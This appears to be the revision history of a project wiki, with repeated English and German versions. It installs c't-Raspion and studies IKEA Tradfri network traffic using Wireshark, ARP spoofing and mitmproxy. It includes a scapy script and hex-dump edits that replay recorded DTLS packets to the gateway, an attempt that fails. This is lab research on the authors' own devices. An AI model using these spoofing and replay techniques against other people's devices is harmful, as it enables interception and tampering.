Wireshark offers a deeper analysis of the network traffic as ntopng. The program allows recording and analyzing network traffic down to the last bit and can be operated via browser as a special feature of c't-Raspion. The recorded network traffic will be saved in pcap-files.

=== mitmproxy ===
The mitm-Proxy can loop into the communication between the local and remote devices by the c't-Raspion redirecting all access from the internal network on TCP ports 80 and 443 to the mitm-Proxy. It takes the redirected accesses to port
8080 towards. The redirection is handled by firewall rules, which can be activated and deactivated as required by clicking in the c't-Raspion web interface.

== Ikea Tradfri Setup Sniff ==
For testing purposes an iphone was cleaned as far as possible. All uninstalable services were erased and synchronization plans were deactivated.
However iphones are not that good for this kind of tests because after all cleaning there were still some connections to apple servers.

To use pihole for capturing the dns queries of the Tradfri Gateway itself you may use an USB networkadapter or an external router as wifi bride. Otherwise you cannot use the Tradfri Gateway due to the lack of connection possibilities. As an workaround outside the Raspion software package classic arpspoofing was used.

Preliminary overview IP addressess:

[[File:ip-config.png|900px]]

Immediately after power on the app is sending dns requests to get ip addresses for fw.ota.homesmart.ikea.net. In the dns answer the ip's to d262cmbxmzphsu.cloudfront.net were included which is an address belonging to amazons aws.

[[File:wireshark-cap1.png|700px]]
[[File:wireshark-cap2.png|700px]]

Also an http get request can be found:
[[File:wireshark-cap-http.png|600px]]

The data from fw.ota.homesmart.ikea.net/feed/version_info.json are not that spectacular. As the name implies it only consists of version information.

As soon as the Ikea Smart Home App starts the setup it tries to find a Tradfri Gateway with mDNS queries.

[[File:wireshark-cap-mDNS.png|550px]]

The mDNS queries are not forwarded through our pihole setup so this technique finding the Tradfri Gateway fails. The app itself provides another way to find the Tradfri Gateway by entering the ip address directly. After submitting the input the app finds the gateway and asks you to scan the QR code on the bottom side of the divce or to enter the security code which can be found near the QR code.

The QR code contains the security code which is used as the pre shared key of the DTLS connection. As soon as the app gets the security code the app and the gateway are initiating the DTLS connection. All applicationdata is send over this encrypted connection.

[[File:wireshark-cap-dtls.png|550px]]

Same implies to connections of additional smart home devices: All data is sent over the encrypted connection.

[[File:wireshark-cap-dtls-snap.png|550px]]

As far as the initial setup goes there are only a few connections to the internet. This connections are all from app to some aws cloud addresses. It seems this is relating to the setup of a new device:

[[File:wireshark-cap-aws.png|550px]]

== Data Transmission when using TRADFRI ==

The IKEA TRADFRI Gateway was connected via LAN cable while the mobile phone running the IKEA app was connected wirelessly to the same network.
Overview of IP addresses used:

[[File:ip_overview_muzik.png|550px]]

Wireshark was used to record the traffic (using arpspoof because the IKEA TRADFRI Gateway requires a LAN connection so it is not possible to just monitor the Raspion WiFi) which was then filtered.

It turns out that TRADFRI is rather well-behaved when it comes to sending data.

For the most part it uses encrypted (DTLS) communication internally between the Gateway and the mobile phone. To initially find the Gateway after opening the mobile app, an MDNS request is sent out via multicast (224.x.x.x).

However, 2 external connections or destinations could also be found:

* IP address 13.227.156.82 / privacypolicy.config.homesmart.ikea.net (as the url indicates, this has the current policy one has to agree to before using the app)
* IP address 13.227.156.50 / supportdetails.config.homesmart.ikea.net (this is where the secure certificates are located, apparently).

=== Wireshark caps ===
privacypolicy.config.homesmart.ikea.net Client Hello:

[[File:Ikea-privacy policy-clientHello.png|700px]]

supportdetails.config.homesmart.ikea.net ServerHello:

[[File:Ikea-supportdetails-serverHello.png|700px]]

=== Certificate Information ===
The Server Hello contains the information regarding the .cer and .crl:
http://ocsp.rootca1.amazontrust.com
http://crt.rootca1.amazontrust.com/rootca1.cer
http://crl.rootca1.amazontrust.com/rootca1.crl
Starfield Technologies, Inc.; Starfield Services Root Certificate Authority

Also:
http://crl.sca1b.amazontrust.com/sca1b.crl
http://ocsp.sca1b.amazontrust.com
http://crt.sca1b.amazontrust.com/sca1b.crt

That's pretty much it. We couldn't find any unwanted connections.

The app also checks for updates for the used devices, this is also indicated in the app when it happens, so this is very transparent. It is indicated in the app when an update is happening or when the app is checking for new updates as can be seen in the screenshot below. If a device happens to be unavailable, e.g. because it is currently disconnected/turned off, then the app does not report back the current version but instead says the device is unreachable ('Nicht erreichbar')

[[File:Ikea-tradfri-update.png|360px]]

=== Turning devices on/off ===
When devices are turned on or off, the individual packet sequences are made up of packets that are the same in size but with some devices there are more packets sent when turning on than off. Let me illustrate this by comparing the on/off sequences of the light bulb (pretty much the same for on/off, although of course different packet content):

Light Bulb ON 
[[File:Ikea-gluehbirne_ein.png|700px]]

Light Bulb OFF 
[[File:Ikea-gluehbirne_aus.png|700px]]

As opposed to the smart plug where the on sequence is longer than the off sequence:

Smart Plug ON 
[[File:Ikea-strom ein.png|700px]]

Smart Plug OFF 
[[File:Ikea-strom aus.png|700px]]

(these were done using arpspoof on 192.168.0.106, 192.168.0.101 is the Internet Gateway, 192.168.0.104 is the TRADFRI Gateway, commands were sent via 192.168.0.103 - so keep in mind that you see duplicates of each packet in the Wireshark caps because they include the sniff and forward to the actual target device)

== Interrupt Communication ==
This experiment will show if it is possible to interrupt or sniff the communication between the IKEA and the IKEA gateway. This is not possible with only a packet sniffer like Wireshark, because the communication is encrypted with DTLS. Two attacks were performed, a mitm proxy attack and a replay attack. For the mitm attack the mitm proxy from the c’t Raspion was used and for the replay attack a scapy script. The network structure is as follows:

IP overview:

[[File:mitm_findings.png|700px]]

=== Structure ===
[[File:mitm-top.png|800px]]

Android can be operated as a virtual machine, or you can also use a smart phone that has the IKEA Smarthome app installed. If it is operated as a virtual machine, make sure that bridge mode is used, since the VM will then have its own IP. This has the advantage that you only have to analyze the traffic generated by Android and not that of the host system.

In order to be able to use the mitm, certificates must be added to the key store on the android os. This can be done by opening the website mitm.it in the browser of android. If you are in the right network, you will see the following window.

[[File:mitmproxy-cert.png|800px]]

Here you choose the right operating system and download the certificates.

The official documentation can be found here[https://docs.mitmproxy.org/stable/concepts-certificates/#quick-setup].

=== MitM Proxy ===
When you start the app in Wireshark you can see that the handshake for the DTLS connection is being carried out.

[[File:wireshark-dtls.png]]

You can also observe that there are several connections to different servers outside the network.

[[File:wireshark-tls.png]]

The following messages can be decrypted.

[[File:mitm-sniff.png]]

Both include a JSON-file.

[[File:Json-file-mitm.jpg]]

* In the debug log, you can observe that there are additional TLS connections, but the mitm proxy couldn’t decrypt these.

192.168.24.241:59332: Client Handshake failed. The client may not trust the proxy's certificate for data.logentries.com.
192.168.24.241:59332: ClientHandshakeException('Cannot establish TLS with client (sni: data.logentries.com): TlsException("(-1, \'Unexpected EOF\')")')
::ffff:192.168.24.241:58971: serverdisconnect
-> ('99.86.243.4', 443)
192.168.24.241:59332: clientdisconnect
::ffff:192.168.24.241:40204: serverdisconnect
-> ('99.86.243.50', 443)
192.168.24.241:58971: clientdisconnect
192.168.24.241:40204: clientdisconnect
192.168.24.241:41657: clientconnect
::ffff:192.168.24.241:41657: Establish TLS with client
192.168.24.241:50453: clientconnect
::ffff:192.168.24.241:50453: serverconnect
-> ('99.86.243.36', 443)
192.168.24.241:42222: clientconnect
::ffff:192.168.24.241:42222: serverconnect
-> ('99.86.243.4', 443)
::ffff:192.168.24.241:42222: Establish TLS with server
::ffff:192.168.24.241:50453: Establish TLS with server
::ffff:192.168.24.241:42222: ALPN selected by server: -
::ffff:192.168.24.241:42222: Establish TLS with client
::ffff:192.168.24.241:50453: ALPN selected by server: -
::ffff:192.168.24.241:50453: Establish TLS with client
::ffff:192.168.24.241:42222: ALPN for client: b'http/1.1'
::ffff:192.168.24.241:50453: ALPN for client: b'http/1.1'
::ffff:192.168.24.241:50453: request
-> Request(GET /US/en/getPolicyUpdate/?deviceType=android)
::ffff:192.168.24.241:42222: request
-> Request(GET /AppDetails)
::ffff:192.168.24.241:42222: response
-> Response(200 OK, application/json, 44b)
::ffff:192.168.24.241:50453: response
-> Response(200 OK, application/json, 374b)

The DTLS connection between the app and the gateway, however, does not appear in the mitm log.

=== Replay-Attack ===
In order to be able to carry out a replay attack, the data traffic between the device on which the IKEA app is running and the IKEA gateway must be recorded. Then the SRC and DST in IP and MAC have to be adjusted accordingly. In this particular example, a sequence number is available in the DTLS protocol. This must also be adjusted so that it is preliminary. Since the payload is also included in the UDP checksum, it must be recalculated too. This attack was performed on the TKEA Gateway, where a socket was connected to. In the socket was light plugged in to see what's happening.

[[File:replay-attack.png]]

As you can see, the attack is unsuccessful because no response is sent from the gateway, which is likely to drop the packets.

This may be because DTLS also uses MAC (message authentication code). The sequence number is used to calculate the MAC value. Unfortunately, this value cannot be recalculated without knowing the encryption.

=== Change Sequence Number ===
To change the sequence number, we used a workaround in Wireshark. In Wireshark you can select multiple Packets and then copy them as hex dump.

[[File:Wireshark-save-hexdump.png|700px]]

0000 dc a6 32 7d 1d 37 c0 ee fb 4a 9b b5 08 00 45 00
0010 00 69 57 0a 40 00 40 11 47 f6 c0 a8 18 f1 c0 a8
0020 01 42 a4 1a 16 34 00 55 ff 2e 17 fe fd 00 01 00
0030 00 00 00 00 34 00 40 00 00 00 00 00 00 00 16 21
0040 39 8a 8a c5 dd c3 3d 67 ba de a5 5f 0a 10 8c e2
0050 75 da ca a1 db ae a2 08 c6 e6 a6 94 32 db d0 cd
0060 d1 63 e6 bd 32 db 2f 14 1a a1 08 be e9 ac ff 43
0070 48 1b 54 a9 f9 f7 4f

After you have copied the packet you can put it into a texteditor and edit the part of the packet you want. In our case we changed the 00 00 00 00 00 34 in line 0020 and 0030 to the appropriate sequence number. We found out that after each full communication the number raised by four. So, when the last recorded sequence number was 48 the next one is 52 and then 56 and so on. This is the decimal number you have to convert it so hex and change it in the text editor and save it.

In wireshark it is possible to import packets from a textfile with hexdump in it.

[[File:Wireshark-import-hexdump1.png]]

[[File:Wireshark-import-hexdump2.png]]

After you have imported the hexdump save the file as pcap file.

In order to send the packets, edit the missing fields in the python script.

#! /usr/bin/python3
from scapy.all import *
from scapy.utils import rdpcap
import time

pkts=rdpcap("path of the pcap file") # reads the pcap file and saves the list in the pkts var

# iterates through the list
for pkt in pkts:
pkt[Ether].src = "sender mac" # MAC of the sender
pkt[Ether].dst= "target mac" # MAC of the target

pkt[IP].src= "sender ip" # IP of the sender
pkt[IP].dst = "target ip" # IP of the target

del pkt.chksum # deletes the current checksum in the IP header
del pkt[UDP].chksum # deletes the checksum in UDP header
pkt = pkt.__class__(bytes(pkt)) # scapy builds the packet new and calculates the missing checksums new

sendp(pkt) # sending packet
time.sleep(2)

After that the script can be executed.

File:Wireshark-import-hexdump2.png

2020-06-27T11:11:46Z

DAmon:

File:Wireshark-import-hexdump1.png

2020-06-27T11:10:47Z

DAmon:

File:Wireshark-save-hexdump.png

2020-06-27T11:08:55Z

DAmon:

Install c't'-Raspion on Raspberry PI

2020-06-27T10:03:02Z

DAmon:

== Requirements ==
* Raspberry PI with Raspbian OS
* Internet connection

== Description ==

=== Step 1: System Update ===

In the command line interface enter:

sudo apt-get update && sudo apt-get upgrade

=== Step 2: Download ===
Download the latest version of Raspion:

wget ct.de/s/x5Pm -O raspion.zip

=== Step 3: Installation ===
Unzip:
unzip raspion.zip

Install:
cd raspion
./install.sh or bash install.sh

[[File:Install_Raspion.png]]

At the end of the installation there is the wifi name and password of the c't-Raspion.

=== Launch c't-Raspion web interface ===
Atfer connecting to the wifi of the c't'-Raspion go to http://<ip-address of your Raspberry-PI>:81

[[File:Raspion_webinterface.png]]

== Services of the c't-Raspion ==

=== Pi-hole ===
Pi-hole shows DNS-Requests. They can also be blocked.

[[File:Pi-hole.png]]

=== ntopng ===
They include the
involved communication partners, the network protocol and information on duration and volume. ntopng does not show the contents of the packages. But it analyses the flows and provides information about which application is communicating, such as Skype, BitTorrent etc., and provides statistics.

=== Wireshark ===
Wireshark offers a deeper analysis of the network traffic as ntopng. The program allows recording and analyzing network traffic down to the last bit and can be operated via browser as a special feature of c't-Raspion. The recorded network traffic will be saved in pcap-files.

=== mitmproxy ===
The mitm-Proxy can loop into the communication between the local and remote devices by the c't-Raspion redirecting all access from the internal network on TCP ports 80 and 443 to the mitm-Proxy. It takes the redirected accesses to port
8080 towards. The redirection is handled by firewall rules, which can be activated and deactivated as required by clicking in the c't-Raspion web interface.

== Ikea Tradfri Setup Sniff ==
For testing purposes an iphone was cleaned as far as possible. All uninstalable services were erased and synchronization plans were deactivated.
However iphones are not that good for this kind of tests because after all cleaning there were still some connections to apple servers.

To use pihole for capturing the dns queries of the Tradfri Gateway itself you may use an USB networkadapter or an external router as wifi bride. Otherwise you cannot use the Tradfri Gateway due to the lack of connection possibilities. As an workaround outside the Raspion software package classic arpspoofing was used.

Preliminary overview IP addressess:

[[File:ip-config.png|900px]]

Immediately after power on the app is sending dns requests to get ip addresses for fw.ota.homesmart.ikea.net. In the dns answer the ip's to d262cmbxmzphsu.cloudfront.net were included which is an address belonging to amazons aws.

[[File:wireshark-cap1.png|700px]]
[[File:wireshark-cap2.png|700px]]

Also an http get request can be found:
[[File:wireshark-cap-http.png|600px]]

The data from fw.ota.homesmart.ikea.net/feed/version_info.json are not that spectacular. As the name implies it only consists of version information.

As soon as the Ikea Smart Home App starts the setup it tries to find a Tradfri Gateway with mDNS queries.

[[File:wireshark-cap-mDNS.png|550px]]

The mDNS queries are not forwarded through our pihole setup so this technique finding the Tradfri Gateway fails. The app itself provides another way to find the Tradfri Gateway by entering the ip address directly. After submitting the input the app finds the gateway and asks you to scan the QR code on the bottom side of the divce or to enter the security code which can be found near the QR code.

The QR code contains the security code which is used as the pre shared key of the DTLS connection. As soon as the app gets the security code the app and the gateway are initiating the DTLS connection. All applicationdata is send over this encrypted connection.

[[File:wireshark-cap-dtls.png|550px]]

Same implies to connections of additional smart home devices: All data is sent over the encrypted connection.

[[File:wireshark-cap-dtls-snap.png|550px]]

As far as the initial setup goes there are only a few connections to the internet. This connections are all from app to some aws cloud addresses. It seems this is relating to the setup of a new device:

[[File:wireshark-cap-aws.png|550px]]

== Data Transmission when using TRADFRI ==

The IKEA TRADFRI Gateway was connected via LAN cable while the mobile phone running the IKEA app was connected wirelessly to the same network.
Overview of IP addresses used:

[[File:ip_overview_muzik.png|550px]]

Wireshark was used to record the traffic (using arpspoof because the IKEA TRADFRI Gateway requires a LAN connection so it is not possible to just monitor the Raspion WiFi) which was then filtered.

It turns out that TRADFRI is rather well-behaved when it comes to sending data.

For the most part it uses encrypted (DTLS) communication internally between the Gateway and the mobile phone. To initially find the Gateway after opening the mobile app, an MDNS request is sent out via multicast (224.x.x.x).

However, 2 external connections or destinations could also be found:

* IP address 13.227.156.82 / privacypolicy.config.homesmart.ikea.net (as the url indicates, this has the current policy one has to agree to before using the app)
* IP address 13.227.156.50 / supportdetails.config.homesmart.ikea.net (this is where the secure certificates are located, apparently).

=== Wireshark caps ===
privacypolicy.config.homesmart.ikea.net Client Hello:

[[File:Ikea-privacy policy-clientHello.png|700px]]

supportdetails.config.homesmart.ikea.net ServerHello:

[[File:Ikea-supportdetails-serverHello.png|700px]]

=== Certificate Information ===
The Server Hello contains the information regarding the .cer and .crl:
http://ocsp.rootca1.amazontrust.com
http://crt.rootca1.amazontrust.com/rootca1.cer
http://crl.rootca1.amazontrust.com/rootca1.crl
Starfield Technologies, Inc.; Starfield Services Root Certificate Authority

Also:
http://crl.sca1b.amazontrust.com/sca1b.crl
http://ocsp.sca1b.amazontrust.com
http://crt.sca1b.amazontrust.com/sca1b.crt

That's pretty much it. We couldn't find any unwanted connections.

The app also checks for updates for the used devices, this is also indicated in the app when it happens, so this is very transparent. It is indicated in the app when an update is happening or when the app is checking for new updates as can be seen in the screenshot below. If a device happens to be unavailable, e.g. because it is currently disconnected/turned off, then the app does not report back the current version but instead says the device is unreachable ('Nicht erreichbar')

[[File:Ikea-tradfri-update.png|360px]]

=== Turning devices on/off ===
When devices are turned on or off, the individual packet sequences are made up of packets that are the same in size but with some devices there are more packets sent when turning on than off. Let me illustrate this by comparing the on/off sequences of the light bulb (pretty much the same for on/off, although of course different packet content):

Light Bulb ON 
[[File:Ikea-gluehbirne_ein.png|700px]]

Light Bulb OFF 
[[File:Ikea-gluehbirne_aus.png|700px]]

As opposed to the smart plug where the on sequence is longer than the off sequence:

Smart Plug ON 
[[File:Ikea-strom ein.png|700px]]

Smart Plug OFF 
[[File:Ikea-strom aus.png|700px]]

(these were done using arpspoof on 192.168.0.106, 192.168.0.101 is the Internet Gateway, 192.168.0.104 is the TRADFRI Gateway, commands were sent via 192.168.0.103 - so keep in mind that you see duplicates of each packet in the Wireshark caps because they include the sniff and forward to the actual target device)

== Interrupt Communication ==
This experiment will show if it is possible to interrupt or sniff the communication between the IKEA and the IKEA gateway. This is not possible with only a packet sniffer like Wireshark, because the communication is encrypted with DTLS. Two attacks were performed, a mitm proxy attack and a replay attack. For the mitm attack the mitm proxy from the c’t Raspion was used and for the replay attack a scapy script. The network structure is as follows:

IP overview:

[[File:mitm_findings.png|700px]]

=== Structure ===
[[File:mitm-top.png|800px]]

Android can be operated as a virtual machine, or you can also use a smart phone that has the IKEA Smarthome app installed. If it is operated as a virtual machine, make sure that bridge mode is used, since the VM will then have its own IP. This has the advantage that you only have to analyze the traffic generated by Android and not that of the host system.

In order to be able to use the mitm, certificates must be added to the key store on the android os. This can be done by opening the website mitm.it in the browser of android. If you are in the right network, you will see the following window.

[[File:mitmproxy-cert.png|800px]]

Here you choose the right operating system and download the certificates.

The official documentation can be found here[https://docs.mitmproxy.org/stable/concepts-certificates/#quick-setup].

=== MitM Proxy ===
When you start the app in Wireshark you can see that the handshake for the DTLS connection is being carried out.

[[File:wireshark-dtls.png]]

You can also observe that there are several connections to different servers outside the network.

[[File:wireshark-tls.png]]

The following messages can be decrypted.

[[File:mitm-sniff.png]]

Both include a JSON-file.

[[File:Json-file-mitm.jpg]]

* In the debug log, you can observe that there are additional TLS connections, but the mitm proxy couldn’t decrypt these.

[[File:Debug-log-mitm.jpg]]

The DTLS connection between the app and the gateway, however, does not appear in the mitm log.

=== Replay-Attack ===
In order to be able to carry out a replay attack, the data traffic between the device on which the IKEA app is running and the IKEA gateway must be recorded. Then the SRC and DST in IP and MAC have to be adjusted accordingly. In this particular example, a sequence number is available in the DTLS protocol. This must also be adjusted so that it is preliminary. Since the payload is also included in the UDP checksum, it must be recalculated too. This attack was performed on the TKEA Gateway, where a socket was connected to. In the socket was light plugged in to see what's happening

[[File:replay-attack.png]]

As you can see, the attack is unsuccessful because no response is sent from the gateway, which is likely to drop the packets.

This may be because DTLS also uses MAC (message authentication code). The sequence number is used to calculate the MAC value. Unfortunately, this value cannot be recalculated without knowing the encryption.

Install c't'-Raspion on Raspberry PI

2020-06-06T13:26:06Z

DAmon:

File:Json-file-mitm.jpg

2020-06-06T13:24:56Z

DAmon:

File:Debug-log-mitm.jpg

2020-06-06T13:23:55Z

DAmon:

Install c't'-Raspion on Raspberry PI

2020-06-06T12:47:55Z

DAmon:

== Requirements ==
* Raspberry PI with Raspbian OS
* Internet connection

== Description ==

=== Step 1: System Update ===

In the command line interface enter:

sudo apt-get update && sudo apt-get upgrade

=== Step 2: Download ===
Download the latest version of Raspion:

wget ct.de/s/x5Pm -O raspion.zip

=== Step 3: Installation ===
Unzip:
unzip raspion.zip

Install:
cd raspion
./install.sh or bash install.sh

[[File:Install_Raspion.png]]

At the end of the installation there is the wifi name and password of the c't-Raspion.

=== Launch c't-Raspion web interface ===
Atfer connecting to the wifi of the c't'-Raspion go to http://<ip-address of your Raspberry-PI>:81

[[File:Raspion_webinterface.png]]

== Services of the c't-Raspion ==

=== Pi-hole ===
Pi-hole shows DNS-Requests. They can also be blocked.

=== ntopng ===
They include the
involved communication partners, the network protocol and information on duration and volume. ntopng does not show the contents of the packages. But it analyses the flows and provides information about which application is communicating, such as Skype, BitTorrent etc., and provides statistics.

=== Wireshark ===
Wireshark offers a deeper analysis of the network traffic as ntopng. The program allows recording and analyzing network traffic down to the last bit and can be operated via browser as a special feature of c't-Raspion. The recorded network traffic will be saved in pcap-files.

=== mitmproxy ===
The mitm-Proxy can loop into the communication between the local and remote devices by the c't-Raspion redirecting all access from the internal network on TCP ports 80 and 443 to the mitm-Proxy. It takes the redirected accesses to port
8080 towards. The redirection is handled by firewall rules, which can be activated and deactivated as required by clicking in the c't-Raspion web interface.

== Ikea Tradfri Setup Sniff ==
For testing purposes an iphone was cleaned as far as possible. All uninstalable services were erased and synchronization plans were deactivated.
However iphones are not that good for this kind of tests because after all cleaning there were still some connections to apple servers.

To use pihole for capturing the dns queries of the Tradfri Gateway itself you may use an USB networkadapter or an external router as wifi bride. Otherwise you cannot use the Tradfri Gateway due to the lack of connection possibilities. As an workaround outside the Raspion software package classic arpspoofing was used.

Preliminary overview IP addressess:

[[File:ip-config.png|900px]]

Immediately after power on the app is sending dns requests to get ip addresses for fw.ota.homesmart.ikea.net. In the dns answer the ip's to d262cmbxmzphsu.cloudfront.net were included which is an address belonging to amazons aws.

[[File:wireshark-cap1.png|700px]]
[[File:wireshark-cap2.png|700px]]

Also an http get request can be found:
[[File:wireshark-cap-http.png|600px]]

The data from fw.ota.homesmart.ikea.net/feed/version_info.json are not that spectacular. As the name implies it only consists of version information.

As soon as the Ikea Smart Home App starts the setup it tries to find a Tradfri Gateway with mDNS queries.

[[File:wireshark-cap-mDNS.png|550px]]

The mDNS queries are not forwarded through our pihole setup so this technique finding the Tradfri Gateway fails. The app itself provides another way to find the Tradfri Gateway by entering the ip address directly. After submitting the input the app finds the gateway and asks you to scan the QR code on the bottom side of the divce or to enter the security code which can be found near the QR code.

The QR code contains the security code which is used as the pre shared key of the DTLS connection. As soon as the app gets the security code the app and the gateway are initiating the DTLS connection. All applicationdata is send over this encrypted connection.

[[File:wireshark-cap-dtls.png|550px]]

Same implies to connections of additional smart home devices: All data is sent over the encrypted connection.

[[File:wireshark-cap-dtls-snap.png|550px]]

As far as the initial setup goes there are only a few connections to the internet. This connections are all from app to some aws cloud addresses. It seems this is relating to the setup of a new device:

[[File:wireshark-cap-aws.png|550px]]

== Data Transmission when using TRADFRI ==

The IKEA TRADFRI Gateway was connected via LAN cable while the mobile phone running the IKEA app was connected wirelessly to the same network.
Overview of IP addresses used:

[[File:ip_overview_muzik.png|550px]]

Wireshark was used to record the traffic (using arpspoof because the IKEA TRADFRI Gateway requires a LAN connection so it is not possible to just monitor the Raspion WiFi) which was then filtered.

It turns out that TRADFRI is rather well-behaved when it comes to sending data.

For the most part it uses encrypted (DTLS) communication internally between the Gateway and the mobile phone. To initially find the Gateway after opening the mobile app, an MDNS request is sent out via multicast (224.x.x.x).

However, 2 external connections or destinations could also be found:

* IP address 13.227.156.82 / privacypolicy.config.homesmart.ikea.net (as the url indicates, this has the current policy one has to agree to before using the app)
* IP address 13.227.156.50 / supportdetails.config.homesmart.ikea.net (this is where the secure certificates are located, apparently).

=== Wireshark caps ===
privacypolicy.config.homesmart.ikea.net Client Hello:

[[File:Ikea-privacy policy-clientHello.png|700px]]

supportdetails.config.homesmart.ikea.net ServerHello:

[[File:Ikea-supportdetails-serverHello.png|700px]]

=== Certificate Information ===
The Server Hello contains the information regarding the .cer and .crl:
http://ocsp.rootca1.amazontrust.com
http://crt.rootca1.amazontrust.com/rootca1.cer
http://crl.rootca1.amazontrust.com/rootca1.crl
Starfield Technologies, Inc.; Starfield Services Root Certificate Authority

Also:
http://crl.sca1b.amazontrust.com/sca1b.crl
http://ocsp.sca1b.amazontrust.com
http://crt.sca1b.amazontrust.com/sca1b.crt

That's pretty much it. We couldn't find any unwanted connections.

The app also checks for updates for the used devices, this is also indicated in the app when it happens, so this is very transparent. It is indicated in the app when an update is happening or when the app is checking for new updates as can be seen in the screenshot below. If a device happens to be unavailable, e.g. because it is currently disconnected/turned off, then the app does not report back the current version but instead says the device is unreachable ('Nicht erreichbar')

[[File:Ikea-tradfri-update.png|360px]]

== Kommunikation entschlüsseln ==
Bei diesem Versuch wird geschaut ob es möglich ist die Kommunikation, zwischen der IKEA App und dem IKEA Gateway mitzuhören. Nur mit einem Packet Sniffer ist dies nicht möglich, da die Kommunikation per DTLS verschlüsselt wird. Es kam zum Einsatz der MITM Proxy, welcher bei dem c’t-Raspion dabei ist.

IP overview:

[[File:mitm_findings.png|700px]]

=== Aufbau ===
[[File:mitm-top.png|800px]]

Android kann als eine Virtuelle Maschine betrieben werden, oder es kann auch ein Smart Phone benutzt werden welches die IKEA Smarthome App installiert hat. Wenn es als Virtuelle Maschine betrieben wird, ist drauf zu achten, dass der Bridge Mode benutzt wird, da dann die VM eine eigene IP erhält. Dies hat den Vorteil, dass man nur den Traffic analysieren muss, welcher von Android erzeugt wird und nicht dem des Host Systems.
Um den MITM benutzten zu können, müssen die Zertifikaten zu dem Key-Store hinzugefügt werden. Dies kann getan werden in dem man die Website mitm.it ansurft. Ist man in dem richtigen Netzwerk sieht man folgendes Fenster.

[[File:mitmproxy-cert.png|800px]]

Hier wählt man das richtige Betriebssystem und lädt die Zertifikate herunter.

Die offizielle Dokumentation findet man hier[https://docs.mitmproxy.org/stable/concepts-certificates/#quick-setup].

=== MitM Proxy ===
Beim Starten der App kann man in Wireshark stehen, dass der Handshake für die DTLS Verbindung durchgeführt wird.

[[File:wireshark-dtls.png]]

Ebenso kann man beobachten, dass mehrere Verbindungen mit verschiedenen Servern nach draußen aufgebaut werden.

[[File:wireshark-tls.png]]

Die Nachrichten zu diesen Servern können durch den MITM entschlüsselt werden.

[[File:mitm-sniff.png]]

Beide Nachrichten beinhalten eine JSON-Datei.

{
"descriptionText": "That’s why we have updated the terms and conditions. Please agree below in order to continue. You can find the updated legal information in Settings or you can read more below.",
"lastUpdatedTimestampCookie": 1568799375000,
"lastUpdatedTimestampPP": 1568798738000,
"lastUpdatedTimestampTnC": 1568798786000,
"titleText": "We’ve changed the name of our app! "
}
{
"versionCode": "44",
"versionName": "1.11.3"
}

Im debug log kann beobachtet werden, dass weitere TLS Verbindung aufgebaut werden jedoch nicht entschlüsselt werden können.

192.168.24.241:59332: Client Handshake failed. The client may not trust the proxy's certificate for data.logentries.com.
192.168.24.241:59332: ClientHandshakeException('Cannot establish TLS with client (sni: data.logentries.com): TlsException("(-1, \'Unexpected EOF\')")')
::ffff:192.168.24.241:58971: serverdisconnect
-> ('99.86.243.4', 443)
192.168.24.241:59332: clientdisconnect
::ffff:192.168.24.241:40204: serverdisconnect
-> ('99.86.243.50', 443)
192.168.24.241:58971: clientdisconnect
192.168.24.241:40204: clientdisconnect
192.168.24.241:41657: clientconnect
::ffff:192.168.24.241:41657: Establish TLS with client
192.168.24.241:50453: clientconnect
::ffff:192.168.24.241:50453: serverconnect
-> ('99.86.243.36', 443)
192.168.24.241:42222: clientconnect
::ffff:192.168.24.241:42222: serverconnect
-> ('99.86.243.4', 443)
::ffff:192.168.24.241:42222: Establish TLS with server
::ffff:192.168.24.241:50453: Establish TLS with server
::ffff:192.168.24.241:42222: ALPN selected by server: -
::ffff:192.168.24.241:42222: Establish TLS with client
::ffff:192.168.24.241:50453: ALPN selected by server: -
::ffff:192.168.24.241:50453: Establish TLS with client
::ffff:192.168.24.241:42222: ALPN for client: b'http/1.1'
::ffff:192.168.24.241:50453: ALPN for client: b'http/1.1'
::ffff:192.168.24.241:50453: request
-> Request(GET /US/en/getPolicyUpdate/?deviceType=android)
::ffff:192.168.24.241:42222: request
-> Request(GET /AppDetails)
::ffff:192.168.24.241:42222: response
-> Response(200 OK, application/json, 44b)
::ffff:192.168.24.241:50453: response
-> Response(200 OK, application/json, 374b)

Die DTLS Verbindung zwischen der App und dem Gateway, erscheint jedoch nicht in dem Log des MITM.

=== Replay-Attacke ===
Um eine Replay-Attacke durchführen zu können, muss der Datenverkehr zwischen dem Gerät, auf dem die IKEA App läuft und dem IKEA Gateway aufgezeichnet werden. Danach muss die SRC und DST in IP und MAC entsprechend angepasst werden. In diesem speziellen Beispiel ist im DTLS Protokoll eine Sequenznummer vorhanden. Diese muss ebenfalls angepasst werden, damit diese vorlaufend ist. Da in der UDP Checksumme auch der Payload miteinbezogen wird, muss diese neu berechnet werden.

[[File:replay-attack.png]]

Wie man sehen kann ist die Attacke nicht erfolgreich, da keine Antwort von dem Gateway gesendet wird und der die Pakete wahrscheinlich droppt.

Dass kann aus dem Grund sein, da bei DTLS auch MAC (message authentication code) benutzt wird. Um den MAC Wert zu berechnen wird die Sequenznummer benutzt. Dieser Wert kann leider nicht neu berechnet werden, ohne die Verschlüsselung zu kennen.

File:Replay-attack.png

2020-06-06T12:30:14Z

DAmon:

Install c't'-Raspion on Raspberry PI

2020-05-11T15:17:51Z

DAmon:

File:Wireshark-cap-mDNS.png

2020-05-11T15:14:21Z

DAmon:

File:Wireshark-cap-http.png

2020-05-11T15:14:14Z

DAmon:

File:Wireshark-cap-dtls-snap.png

2020-05-11T15:14:06Z

DAmon:

File:Wireshark-cap-dtls.png

2020-05-11T15:13:58Z

DAmon:

File:Wireshark-cap-aws.png

2020-05-11T15:13:48Z

DAmon:

File:Wireshark-cap2.png

2020-05-11T15:13:39Z

DAmon:

File:Wireshark-cap1.png

2020-05-11T15:13:31Z

DAmon:

File:Ip-config.png

2020-05-11T15:13:02Z

DAmon:

Install c't'-Raspion on Raspberry PI

2020-05-11T15:03:03Z

DAmon:

Install c't'-Raspion on Raspberry PI

2020-05-11T14:42:55Z

DAmon:

Install c't'-Raspion on Raspberry PI

2020-05-11T14:40:44Z

DAmon:

File:Wireshark-tls.png

2020-05-11T14:40:01Z

DAmon:

File:Wireshark-dtls.png

2020-05-11T14:39:43Z

DAmon:

File:Mitmproxy-cert.png

2020-05-11T14:39:20Z

DAmon:

File:Mitm-top.png

2020-05-11T14:39:00Z

DAmon: DAmon uploaded a new version of File:Mitm-top.png

File:Mitm-top.png

2020-05-11T14:38:09Z

DAmon:

File:Mitm-sniff.png

2020-05-11T14:37:49Z

DAmon:

Install c't'-Raspion on Raspberry PI

2020-05-11T14:33:49Z

DAmon:

Install c't'-Raspion on Raspberry PI

2020-05-11T14:05:14Z

DAmon: /* Step 3: Installation */

